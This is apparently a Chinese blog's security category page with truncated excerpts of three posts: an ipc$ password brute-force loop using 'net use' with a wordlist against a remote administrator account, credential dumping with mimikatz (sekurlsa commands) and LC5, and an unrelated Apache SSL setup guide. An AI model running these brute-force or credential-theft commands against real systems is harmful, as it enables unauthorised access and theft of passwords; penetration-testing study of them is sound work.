分类：网络安全

发布于

内网渗透之ipc$漏洞

渗透环境xp

1、使用dos命令暴力破解远程ipc$主机密码

for /f %a in (e:\字典文件.txt) do net use \\对方ip地址\ipc$ %a /user:administrator

这条命令进行密码爆破吗，等到命令框显示”不允许一个用户使用一个以上用户名与服务器”[……]

继续阅读

发布于

后渗透之破解管理员密码

一、lc5爆破用户名密码（较老，不实用）

傻瓜式安装，然后自动得到hash

 

二、 抓缓存中的明文密码（mimikatz、wce、Pwdump7等）（较实用）

MIMIKATZ：

      privilege::debug
      sekurlsa::log[......]
继续阅读
发布于

LAMP（Apache）环境安装SSL安全证书网站支持HTTPS

一、申请免费的SSL数字证书

我用的是西部数码的域名，就免费申请了一个一年的SSL证书
具体步骤不再叙述，注意要记住密码。申请成功后，下载相应的证书即可，我下载的是pem格式的。

二、在服务器部署证书服务

1、 安装相应的SSL模块

yum install openssl
yum ins[......]
继续阅读